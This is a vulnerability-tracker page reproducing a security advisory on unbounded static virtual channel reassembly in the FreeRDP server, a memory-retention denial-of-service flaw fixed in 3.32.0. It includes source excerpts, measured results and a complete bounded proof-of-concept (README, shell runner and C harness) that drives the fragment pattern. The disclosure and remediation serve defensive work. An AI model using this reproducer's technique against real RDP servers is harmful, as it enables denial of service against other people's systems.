Read the docs

Unbounded static channel reassembly in FreeRDP server retains memory

Priority MEDIUM 44CWE-400Published · Updated

Key facts

Attack vector
Network
Privileges required
Low
User interaction
None
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-xm53-352c-57jw. Fix status from GitHub. Impact type from CWE-400.

Summary

FreeRDP from 2.0.0 through 3.31.1 does not limit how much data the server buffers when it reassembles fragmented static virtual channel messages (CWE-400). An authenticated RDP client that joins an open static virtual channel and never finishes a fragmented message can make the server retain memory in proportion to the data it sends. A bounded live test retained memory without crashing the server, and sustained traffic could exhaust the server process.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

## Executive Summary An authenticated RDP client, Mallory, can join an open static virtual channel and begin a fragmented message that she never terminates. FreeRDP's server path appends each later fragment to the channel's reassembly stream without enforcing the declared total length or any independent cumulative limit. The server should reject a fragment train once it exceeds the message's declared length or a configured ceiling; instead, it retains memory in proportion to Mallory's traffic until another `FIRST` fragment resets the stream or the session ends. The assessed source was FreeRDP `3.31.1-177-g7e0a52a12`. Release snapshots `2.0.0`, `3.0.0`, and `3.31.1` contain the same uncapped behavior, and current upstream master was still affected when reviewed. `2.0.0` is therefore the earliest verified affected release, not a claim that it introduced the issue. No fixed release or exact public duplicate was identified. A bounded live TLS/RDP test sent 4,096 realistic 1,600-byte packets, or 6,553,600 bytes, through a stock client's `SendChannelPacket` API and an unmodified stock server. The attack retained a 6,554,624-byte reassembly stream; an equal-traffic repeated-`FIRST` control retained only 1,792 bytes. Both live sessions remained running. This establishes traffic-proportional server memory retention, not a demonstrated crash, code execution, or TLS bypass. Sustained traffic or concurrent clients could exhaust the server process, but that stronger availability outcome is inferred from the absent bound rather than observed in the bounded test. I reviewed the exact server and transport source, representative release snapshots, current upstream history, and the preserved live attack/control records. I also replayed the included bounded reproducer against the assessed build in the existing disposable environment. **Suggested severity:** Medium, CVSS 3.1 score 6.5 (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`). The high availability impact reflects potential process exhaustion from an uncapped stream; the bounded validation itself did not crash the server. ## Background FreeRDP's server API exposes joined RDP static virtual channels through `rdpPeerChannel`. Channel data arrives in chunks with a declared message length and `CHANNEL_FLAG_FIRST` / `CHANNEL_FLAG_LAST` markers. For channels that do not use `CHANNEL_OPTION_SHOW_PROTOCOL`, the server collects those chunks in `rdpPeerChannel.receiveData` and dispatches the completed message only when it receives `LAST`. Mallory needs a connected RDP session accepted under the embedding server's authentication policy, must join an open static virtual channel, and must be able to send data on that channel. The live validation used the negotiated `rdpsnd` channel. The vulnerable buffering path also requires the channel not to take the separate `CHANNEL_OPTION_SHOW_PROTOCOL` delivery path. These are material prerequisites; this report does not claim that every FreeRDP deployment exposes the same channels or authentication policy. The per-PDU parser in `libfreerdp/core/channels.c` checks that the current packet contains the advertised chunk. That is a useful single-chunk check, but it does not bound the sum of chunks belonging to an unfinished message. The lifetime boundary is the server process: the growing stream belongs to the peer channel and remains allocated until a reset or session/channel cleanup. ## Vulnerability Details The production receive chain is: ```text TLS/RDP client channel packet -> channel PDU parsing in libfreerdp/core/channels.c -> client->ReceiveChannelData -> WTSReceiveChannelData -> WTSProcessChannelData -> rdpPeerChannel.receiveData ``` In `libfreerdp/core/server.c`, `WTSProcessChannelData` resets the write position only when `FIRST` is present, grows the stream for every received chunk, and consults the declared `totalSize` only after `LAST`: ```c if ((flags & CHANNEL_FLAG_FIRST) != 0) { Stream_ResetPosition(channel->receiveData); } if (!Stream_EnsureRemainingCapacity(channel->receiveData, size)) return FALSE; Stream_Write(channel->receiveData, data, size); if ((flags & CHANNEL_FLAG_LAST) != 0) { if (Stream_GetPosition(channel->receiveData) != totalSize) WLog_ERR(TAG, "read error"); /* dispatch, then reset */ } ``` A client can therefore send `FIRST` once and continue sending ordinary 1,600-byte non-`LAST` fragments. None of those later calls compare the accumulated position with the declared total, enforce a server-side maximum, or require eventual completion. `Stream_EnsureRemainingCapacity` makes room for each chunk and `Stream_Write` advances the position. The final-length diagnostic is unreachable while Mallory withholds `LAST`. The capacity is retained even when the stream position is reset, but the equal-traffic control shows why the attack is not merely ordinary allocator behavior: sending `FIRST` on every packet repeatedly resets the position before the next 1,600-byte write, leaving only a 1,792-byte capacity rather than a multi-megabyte buffer. The relevant behavior is present in the inspected `2.0.0`, `3.0.0`, and `3.31.1` release snapshots, the assessed post-`3.31.1` revision, and current upstream master. Older history predates the current path layout, so the first affected public release was not established. A search of public FreeRDP issues and repository advisories found no exact report or fix. `GHSA-jm8r-22j6-4m4v` concerns RDPEI header-driven allocation, while `GHSA-6mpx-c8rj-whj5` concerns a DRDYNVC close race; neither addresses this static-channel fragment train. ## Exploitability Analysis The demonstrated primitive is server-side heap retention proportional to bytes sent on an unfinished static-channel message. Mallory does not need to forge another user's session, break TLS, or corrupt memory. She does need the ordinary RDP connection and channel prerequisites described above. The live positive and negative controls each sent 4,096 packets of 1,600 bytes, for exactly 6,553,600 wire payload bytes. Attack mode set `FIRST` only on the first packet and never sent `LAST`; the control set `FIRST` on every packet. The production reassembler retained capacities of 6,554,624 and 1,792 bytes respectively. Because traffic volume was equal, the control rules out ordinary receive traffic alone as the reason for the retained stream. In fresh AddressSanitizer-instrumented live server sessions, the attack increased server RSS by 308,172 KiB while the control increased it by 3,360 KiB. Both receivers remained alive. AddressSanitizer allocation and quarantine behavior greatly magnify RSS, so 308,172 KiB is diagnostic evidence of the divergent path, not a claimed product amplification factor. The product-level measured claim remains the approximately 6.55 MB stream capacity. The source contains no cumulative stop condition, so a client can continue beyond the bounded test volume, and multiple sessions can hold separate growing streams. Process exhaustion is consequently plausible and is the basis for the availability rating. Its traffic rate, time to failure, and operating-system response depend on deployment memory limits and concurrent workload; no crash was observed. There is no evidence here for confidentiality loss, integrity loss, or remote code execution. ## Proof of Concept The sibling `poc/` directory contains a source-only, bounded reproducer. It includes the production `libfreerdp/core/server.c` implementation at compile time, constructs only the channel state needed by `WTSProcessChannelData`, and sends the same 4,096 by 1,600-byte sequences used by the live validation. It does not open a network socket or replace the separate end-to-end TLS/RDP test. Run it against a disposable FreeRDP checkout and build as documented in `poc/README.md`. It intentionally retains about 6.55 MB in attack mode. A replay against the assessed AddressSanitizer build produced: ```text mode=attack chunk=1600 fragments=4096 bytes_sent=6553600 capacity=6554624 rss_delta_kb=294068 mode=control chunk=1600 fragments=4096 bytes_sent=6553600 capacity=1792 rss_delta_kb=1292 PASS: equal traffic retained 6554624 bytes in attack mode and 1792 bytes in control mode ``` The RSS figures are instrumentation-dependent. The stable assertions are equal bytes processed and the divergent stream capacities. The live TLS/RDP validation separately confirmed that a stock connected client can drive the same fragment pattern through the unmodified network dispatcher and server reassembly path. ### Complete PoC files ### `poc/README.md` ````markdown # FreeRDP server static-channel reassembly reproducer This bounded reproducer calls the production `WTSProcessChannelData` implementation with the realistic 1,600-byte channel chunk size. Attack mode begins one fragmented message and omits `CHANNEL_FLAG_LAST`; control mode sends the same 4,096 chunks but starts a new message each time. Both modes process exactly 6,553,600 bytes. Use a disposable FreeRDP build. The run is bounded and does not open a network socket, but it intentionally retains about 6.55 MB in attack mode. ```sh cd FreeRDP FREERDP_SOURCE=. \ FREERDP_BUILD=build \ FREERDP_LIBRARY_DIR=build/libfreerdp \ ./security-reproducer/run.sh ``` In this example, the PoC directory has been placed in the checkout as `security-reproducer`. The exact library directory and any extra runtime library path depend on the build layout. If OpenSSL or zlib headers are in nonstandard locations, pass their compiler search paths with `EXTRA_CPPFLAGS`. The runner links AddressSanitizer and UndefinedBehaviorSanitizer by default; set `SANITIZER_FLAGS` to suitable compiler flags if the assessed build uses a different instrumentation setup. The runner succeeds only when attack mode reports a 6,554,624-byte stream capacity and the equal-traffic control reports a 1,792-byte capacity. This focused runner demonstrates the reassembly state and memory-retention difference. The separate end-to-end validation used a stock client and stock server over TLS/RDP, with a client-side preload calling the normal `SendChannelPacket` API after joining the `rdpsnd` static virtual channel. It sent the same 4,096 by 1,600-byte attack and control sequences through the unmodified server dispatcher and reassembly code. ```` ### `poc/run.sh` ````sh #!/bin/sh set -eu : "${FREERDP_SOURCE:?set FREERDP_SOURCE to the FreeRDP source root}" : "${FREERDP_BUILD:?set FREERDP_BUILD to the FreeRDP build root}" : "${FREERDP_LIBRARY_DIR:?set FREERDP_LIBRARY_DIR to the directory containing libfreerdp3 and libwinpr3}" HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORK=${WORK:-"$HERE/.build"} EXTRA_CPPFLAGS=${EXTRA_CPPFLAGS:-} SANITIZER_FLAGS=${SANITIZER_FLAGS:--fsanitize=address,undefined -fno-omit-frame-pointer} mkdir -p "$WORK" cc -w -DNDEBUG -g -O1 -ffunction-sections -fdata-sections $SANITIZER_FLAGS \ $EXTRA_CPPFLAGS \ -I"$FREERDP_SOURCE" \ -I"$FREERDP_SOURCE/include" \ -I"$FREERDP_SOURCE/winpr/include" \ -I"$FREERDP_BUILD/include" \ -I"$FREERDP_BUILD/winpr/include" \ -I"$FREERDP_SOURCE/libfreerdp/core" \ -o "$WORK/server_channel_reassembly" \ "$HERE/server_channel_reassembly.c" \ -L"$FREERDP_LIBRARY_DIR" -Wl,-rpath,"$FREERDP_LIBRARY_DIR" \ -lfreerdp3 -lwinpr3 -lssl -lcrypto -lz -lpthread \ -Wl,--gc-sections ASAN_OPTIONS=detect_leaks=0 \ LD_LIBRARY_PATH="$FREERDP_LIBRARY_DIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \ "$WORK/server_channel_reassembly" attack | tee "$WORK/attack.txt" ASAN_OPTIONS=detect_leaks=0 \ LD_LIBRARY_PATH="$FREERDP_LIBRARY_DIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \ "$WORK/server_channel_reassembly" control | tee "$WORK/control.txt" grep -Eq 'bytes_sent=6553600 capacity=6554624 ' "$WORK/attack.txt" grep -Eq 'bytes_sent=6553600 capacity=1792 ' "$WORK/control.txt" echo "PASS: equal traffic retained 6554624 bytes in attack mode and 1792 bytes in control mode" ```` ### `poc/server_channel_reassembly.c` ````c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <freerdp/freerdp.h> #include <winpr/stream.h> #include "libfreerdp/core/server.c" static long rss_kb(void) { long pages = 0; FILE* fp = fopen("/proc/self/statm", "r"); if (!fp) return -1; if (fscanf(fp, "%*s %ld", &pages) != 1) pages = -1; fclose(fp); return pages < 0 ? -1 : pages * sysconf(_SC_PAGESIZE) / 1024; } int main(int argc, char** argv) { const BOOL attack = !((argc > 1) && (strcmp(argv[1], "control") == 0)); const size_t chunk = DVC_MAX_DATA_PDU_SIZE; const size_t count = 4096; WTSVirtualChannelManager vcm = { 0 }; rdpPeerChannel channel = { .vcm = &vcm }; channel.receiveData = Stream_New(NULL, 64); if (!channel.receiveData) return 2; BYTE* data = malloc(chunk); if (!data) return 2; memset(data, 0x41, chunk); const long before = rss_kb(); for (size_t i = 0; i < count; i++) { const UINT32 flags = attack ? ((i == 0) ? CHANNEL_FLAG_FIRST : 0) : CHANNEL_FLAG_FIRST; if (!WTSProcessChannelData(&channel, 1004, data, chunk, flags, chunk)) return 3; } const long after = rss_kb(); printf("mode=%s chunk=%zu fragments=%zu bytes_sent=%zu capacity=%zu rss_delta_kb=%ld\n", attack ? "attack" : "control", chunk, count, chunk * count, Stream_Capacity(channel.receiveData), after - before); free(data); Stream_Free(channel.receiveData, TRUE); return 0; } ```` ## Remediation Treat static-channel reassembly as an explicit bounded message state rather than an open-ended stream: 1. Require `FIRST` before accepting continuation fragments and record the declared total for that message. 2. Reject a declared total above a conservative per-message limit before allocating. 3. Before every append, use checked arithmetic and reject when `current_position + chunk_size` exceeds either the recorded total or the configured cap. 4. Require continuation fragments to remain consistent with the initial declaration, and require `LAST` to arrive exactly at the declared total before dispatch. 5. On malformed order, length mismatch, timeout, or allocation failure, clear the in-progress state and release or shrink oversized storage. 6. Consider per-session and process-wide reassembly budgets so many valid-size concurrent messages cannot defeat the per-message cap. Regression coverage should exercise the real channel dispatcher with: a normal one-chunk message; a valid multi-chunk message; continuation without `FIRST`; accumulated bytes greater than the declared total; declared length above the cap; `LAST` below and above the exact total; timeout/disconnect cleanup; and equal-traffic repeated-`FIRST` behavior. The `CHANNEL_OPTION_SHOW_PROTOCOL` path should receive separate tests because it bypasses this buffering branch. No upstream fix was identified, so these are proposed changes rather than a description of shipped behavior. ## Summary An authenticated, connected RDP client on an open static virtual channel can start a fragmented message, omit `LAST`, and make FreeRDP's server retain every subsequent fragment because `WTSProcessChannelData` has no cumulative reassembly bound. The bounded live TLS/RDP validation demonstrated a 6,554,624-byte retained stream versus 1,792 bytes for equal control traffic, with both servers still alive. Release `2.0.0` is the earliest directly verified affected release; `3.0.0`, `3.31.1`, the assessed post-release revision, and current master are also affected, and no fixed release is known. Process exhaustion is a supported availability risk, while crash, code execution, and data compromise were not demonstrated.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)>= 2.0.0, <= 3.31.13.32.0Patch availableGHSA-xm53-352c-57jw
  • FreeRDP (c) Vendor— Affected >= 2.0.0, <= 3.31.1 Fixed in 3.32.0 Patch available GHSA-xm53-352c-57jw

Remediation

Upgrade FreeRDP to 3.32.0, the fixed version.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-xm53-352c-57jw FreeRDP (c) Fixed in 3.32.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-xm53-352c-57jw

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences